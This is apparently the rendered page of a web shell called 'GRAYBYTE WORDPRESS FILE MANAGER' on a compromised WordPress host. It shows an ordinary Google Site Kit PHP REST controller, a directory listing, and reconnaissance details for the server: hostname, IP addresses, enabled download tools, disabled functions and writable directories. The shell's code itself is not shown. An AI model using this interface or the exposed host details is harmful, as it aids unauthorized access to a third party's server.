✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.223
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/plugins/Core/Modules//REST_Dashboard_Sharing_Controller.php
<?php
/**
 * Class Google\Site_Kit\Core\Modules\REST_Dashboard_Sharing_Controller
 *
 * @package   Google\Site_Kit\Core\Modules
 * @copyright 2022 Google LLC
 * @license   https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
 * @link      https://sitekit.withgoogle.com
 */

namespace Google\Site_Kit\Core\Modules;

use Google\Site_Kit\Core\Permissions\Permissions;
use Google\Site_Kit\Core\REST_API\REST_Route;
use Google\Site_Kit\Core\Util\Collection_Key_Cap_Filter;
use WP_REST_Request;
use WP_REST_Response;
use WP_REST_Server;

/**
 * Class for handling dashboard sharing rest routes.
 *
 * @since 1.75.0
 * @access private
 * @ignore
 */
class REST_Dashboard_Sharing_Controller {

	/**
	 * Modules instance.
	 *
	 * @since 1.75.0
	 * @var Modules
	 */
	protected $modules;

	/**
	 * Constructor.
	 *
	 * @since 1.75.0
	 *
	 * @param Modules $modules Modules instance.
	 */
	public function __construct( Modules $modules ) {
		$this->modules = $modules;
	}

	/**
	 * Registers functionality through WordPress hooks.
	 *
	 * @since 1.75.0
	 */
	public function register() {
		add_filter(
			'googlesitekit_rest_routes',
			function ( $routes ) {
				return array_merge( $routes, $this->get_rest_routes() );
			}
		);
	}

	/**
	 * Gets REST route instances.
	 *
	 * @since 1.75.0
	 *
	 * @return REST_Route[] List of REST_Route objects.
	 */
	protected function get_rest_routes() {
		$can_manage_options = function () {
			return current_user_can( Permissions::MANAGE_OPTIONS );
		};

		return array(
			new REST_Route(
				'core/modules/data/sharing-settings',
				array(
					array(
						'methods'             => WP_REST_Server::EDITABLE,
						'callback'            => function ( WP_REST_Request $request ) {
							$original_module_owners = $this->modules->get_shareable_modules_owners();

							$sharing_settings     = $this->modules->get_module_sharing_settings();
							$new_sharing_settings = array_reduce(
								array(
									new Collection_Key_Cap_Filter( 'sharedRoles', Permissions::MANAGE_MODULE_SHARING_OPTIONS ),
									new Collection_Key_Cap_Filter( 'management', Permissions::DELEGATE_MODULE_SHARING_MANAGEMENT ),
								),
								function ( $settings, Collection_Key_Cap_Filter $filter ) {
									return $filter->filter_key_by_cap( $settings );
								},
								(array) $request['data']
							);

							$sharing_settings->merge( $new_sharing_settings );

							$new_module_owners = $this->modules->get_shareable_modules_owners();
							$changed_module_owners = array_filter(
								$new_module_owners,
								function ( $new_owner_id, $module_slug ) use ( $original_module_owners ) {
									return $new_owner_id !== $original_module_owners[ $module_slug ];
								},
								ARRAY_FILTER_USE_BOTH
							);

							return new WP_REST_Response(
								array(
									'settings'    => $sharing_settings->get(),
									// Cast array to an object so JSON encoded response is always an object,
									// even when the array is empty.
									'newOwnerIDs' => (object) $changed_module_owners,
								)
							);
						},
						'permission_callback' => $can_manage_options,
						'args'                => array(
							'data' => array(
								'type'     => 'object',
								'required' => true,
							),
						),
					),
					array(
						'methods'             => WP_REST_Server::DELETABLE,
						'callback'            => function () {
							$delete_settings = $this->modules->delete_dashboard_sharing_settings();

							return new WP_REST_Response(
								$delete_settings
							);
						},
						'permission_callback' => $can_manage_options,
					),
				)
			),
		);
	}

}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Sep 2026 12.44 AM
docteuh / users
0755
Tags
--
12 Sep 2026 3.36 AM
docteuh / users
0755
Datapoint.php
2.23 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module.php
22.199 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_Registry.php
1.609 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_Settings.php
1.954 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_Sharing_Settings.php
6.642 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Activation.php
0.556 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Assets.php
0.922 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Assets_Trait.php
1.74 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Data_Available_State.php
1.006 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Data_Available_State_Trait.php
1.515 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Deactivation.php
0.565 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Debug_Fields.php
0.545 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Owner.php
0.562 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Owner_Trait.php
1.729 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Persistent_Registration.php
0.631 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Scopes.php
0.606 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Scopes_Trait.php
0.704 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Service_Entity.php
0.664 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Settings.php
0.521 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Module_With_Settings_Trait.php
0.984 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
Modules.php
27.295 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
REST_Dashboard_Sharing_Controller.php
3.551 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
REST_Modules_Controller.php
26.128 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
icon-redirect-manager-20260827192224.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260828202619.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF